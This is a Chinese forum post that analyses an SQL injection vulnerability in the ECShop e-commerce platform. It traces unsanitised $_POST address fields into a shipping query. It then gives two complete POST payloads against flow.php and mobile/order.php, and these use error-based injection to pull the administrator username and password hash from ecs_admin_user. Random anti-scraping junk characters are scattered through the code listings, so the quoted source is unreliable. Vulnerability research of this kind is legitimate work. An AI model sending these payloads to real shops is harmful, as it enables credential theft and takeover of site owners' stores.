ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。
7 n4 B8 x$ h: I% e
    漏洞关键文件：

    /includes/lib_order.php

    关键函数：


* |# w& r6 R* }
9 ~  g( l3 E' Q8 S01     function available_shipping_list($region_id_list)

02 {

$ d% \0 {0 ]& O# @$ N- i: g03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
* O; X: |- H2 {9 P" B$ ~
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
  a( s* c5 F% ^, h) O1 K, t
1 Y) D6 f9 w" v; `/ V05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
' z! P7 d5 b; C' D
6 w9 j5 f6 _& j; {# }9 `, q06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
: [( q$ N5 E& g! C2 v3 o& J) O3 s1 Z
$ k6 H# X$ U6 o" l8 V6 c% I, q  q07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.

# b0 G& ]2 v- y  A/ Z/ W0 h: @' x08             'WHERE r.region_id ' . db_create_in($region_id_list) .
5 e7 J: M6 z" B. C: f9 @8 ?
3 V" ?! g  X- i09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
2 p: `8 O; H& z9 ~3 s( ~! N: a
4 }* t$ w+ e. A10   

11     return $GLOBALS['db']->getAll($sql);
0 Q: g' u, s) Z! [
2 ~2 m( g( l! v' B" w( L12 }

* b" S; y( V# }6 P显然对传入的参数没有任何过滤就带入了查询语句。

下面我们追踪这个函数在flow.php中：
第531行：   

, v9 O" x* n- e2 a. K9 J" h! O1 $shipping_list     = available_shipping_list($region);
& U" C7 ?7 F8 x& k1 e' d& H- _
! T7 v& {& N! a( H( X7 F1 |
; T" [0 M& B: h' N


6 o6 `2 v$ `  Q' R: Z$ {) ~再对传入变量进行追踪：

. c# S- B3 r, e& J1 D. H1 q第530行：   

1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
3 {5 O# T/ \1 H' v0 _


3 c3 W0 |  y9 V9 G! A) r

& ]' R6 y6 {% q第473行：        
2 i: T5 k6 k, u9 C) n5 O( H4 H( s8 w
1 $consignee = get_consignee($_SESSION['user_id']);
, M3 t0 b9 V1 V7 Y( Y9 P
) d! @' _0 Y$ @到了一个关键函数：
/ _: P0 T) }: g. y
8 d3 V7 e6 v7 R6 ^8 ]0 Q! J/includes/lib_order.php


, L- A4 z* X& ?. O2 @# b


/ n" P6 y/ B% p- B01 function get_consignee($user_id)
, f4 U1 R' J  J
02 {

03     if (isset($_SESSION['flow_consignee']))

+ u4 [& E3 s( q! K* e0 w! T- r! ^04     {

# B( ~" a) n0 m$ ~( u% r05         /* 如果存在session，则直接返回session中的收货人信息 */

9 W1 B8 o. A( ?' C06   

3 E. Q1 d5 ~3 v* F9 X07         return $_SESSION['flow_consignee'];
8 B8 v8 d" R& x. J2 D4 i
08     }
( i# T/ Q& i" |% ~
09     else

: h; x! _9 b/ J10     {

11         /* 如果不存在，则取得用户的默认收货人信息 */
0 H% ?6 e  j0 d. h* R
+ I( L; n+ p3 S) i. M( o- W12         $arr = array();
1 Y$ R, R3 @# [: R$ Q- `1 J: V
13   

14         if ($user_id > 0)

15         {
- {, o3 g  Y9 z, O
16             /* 取默认地址 */

% a6 s/ g0 t$ _17             $sql = "SELECT ua.*".
+ q. u" C2 M: B
% u, C3 R& v. n18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.

19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
8 C  |4 K$ S0 j- z& \& y' v
' L* G/ L5 _. }0 Q( Y( V$ P20   
$ P7 m) d% i* t3 M% h* ]% B
: x9 Q& J1 l/ @4 y0 ]21             $arr = $GLOBALS['db']->getRow($sql);
  [2 ]& P- C2 e, o- _% ~
22         }
: ]' W+ D: Q6 H" U& |
23   

24         return $arr;
1 q0 }) W* r/ x6 t1 t- w, b. o, t
3 n$ w- w# O) L% g, ?+ g9 l25     }
7 ~$ D0 l( L2 V( B9 N; R- `
( T2 m% _% K) o4 b! q! V0 K  w* p26 }
8 r" a& b/ z+ j  }! F
; W! p6 e+ J6 |7 R- _显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？



关键点:
' c1 m* a/ Y  w$ F
+ w7 C9 T4 Q9 L第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
5 s: f5 G& p5 r2 H9 X* m% j
这里对传入参数反转义存入$_SESSION中。

; F7 A2 n% i8 z! i/ I$ A- G
3 N3 O" o: [  ]3 _9 V: o5 ]* [5 S4 u
, i3 N4 ~" I+ s) Q8 t, o然后看下：

- ]' P1 H- e/ X  d( w
4 b: P0 v* U; p- V2 A8 t& ]* L4 T
4 `! P! Q: b* V2 V/ R* s   

$ W4 o& i% }! C5 B- x5 o# `5 T01 $consignee = array(
1 Z, l2 X, D  p3 }$ d
* i7 `+ D- l; w$ m0 }- R- @) @5 c8 d02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),

* o# L! g0 @3 U: y/ m* D03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
$ p+ X6 G" B/ K+ T; P' H
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
3 K% n: O. n) P
- A; ~4 _/ S) v7 a0 E& T$ S05         'province'      => empty($_POST['province'])   ? '' _POST['province'],

( r6 j( D$ U+ ?9 r06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
4 W6 \, e' R5 L$ ?. g- y' p% K
  U. [, Y) t: a' L07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
! c( c: L  \- k5 l
08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
1 s* q- ~# U% ]
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
' ~* d/ q& N! Z7 n7 D4 G2 k0 J
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),

4 B* B$ i4 C4 N- A! ^$ C11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
! H& t2 m" l2 R# X7 v
6 H$ Z+ o; B7 i! m  r: k9 {% T4 w12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),

13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],

14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
: ?$ x/ r+ C5 {# u! p/ F
15     );

好了注入就这样出现了。

6 i- j* W; l1 c- b5 R# Y9 e==================

) Y8 k# b" H- W1 L注入测试：
) G3 Q5 ]/ s% K5 K1 E
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)

1 ?9 |4 M7 a$ R5 g% w+ G测试程序：ECShop_V2.7.3_UTF8_release1106
/ b) `2 g& [7 G1 Z* d! ]. j

2 G( e5 {' j: Y4 ~, r4 _: Y* h
1.首先需要点击一个商品加入购物车
: A3 y; I" q2 F% T+ u
3 n8 a8 g4 n$ F2.注册一个会员帐号
! q' I$ C7 S* L8 V2 b
) l; k( A: [9 Q& {3 |3.post提交数据

1 v6 ^# n/ q$ {/ c# p# U" _

2 F! f2 l  `# ^) W6 z: o1 http://127.0.0.1/ecshop/flow.php
' j# V4 ~. D8 u5 n/ z
2   
% g+ B3 }3 b0 l0 _3 |4 Q/ c/ a
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
举一反三，我们根据这个漏洞我们可以继续深入挖掘：

我们搜寻关键函数function available_shipping_list()
0 ^$ c  T# L" L; O! B
在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同

利用exp:

& J- ]' a7 B6 W( J0 S1.点击一个商品，点击购买商标
4 N+ Z, Y9 I8 @1 Q  _/ E$ q
4 X# K# E5 s& i2.登录会员帐号
# }( u; a* D) _+ K; X/ ]
2 l% i' \: J) @% D) R8 r3.post提交：

. H: x( V2 k; n9 n4 rhttp://127.0.0.1/ecshop/mobile/order.php
" x' R6 u4 C1 a8 w
/ L" `' a% B- I2 ?4 H$ o

country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
: M( `3 P# d$ l! @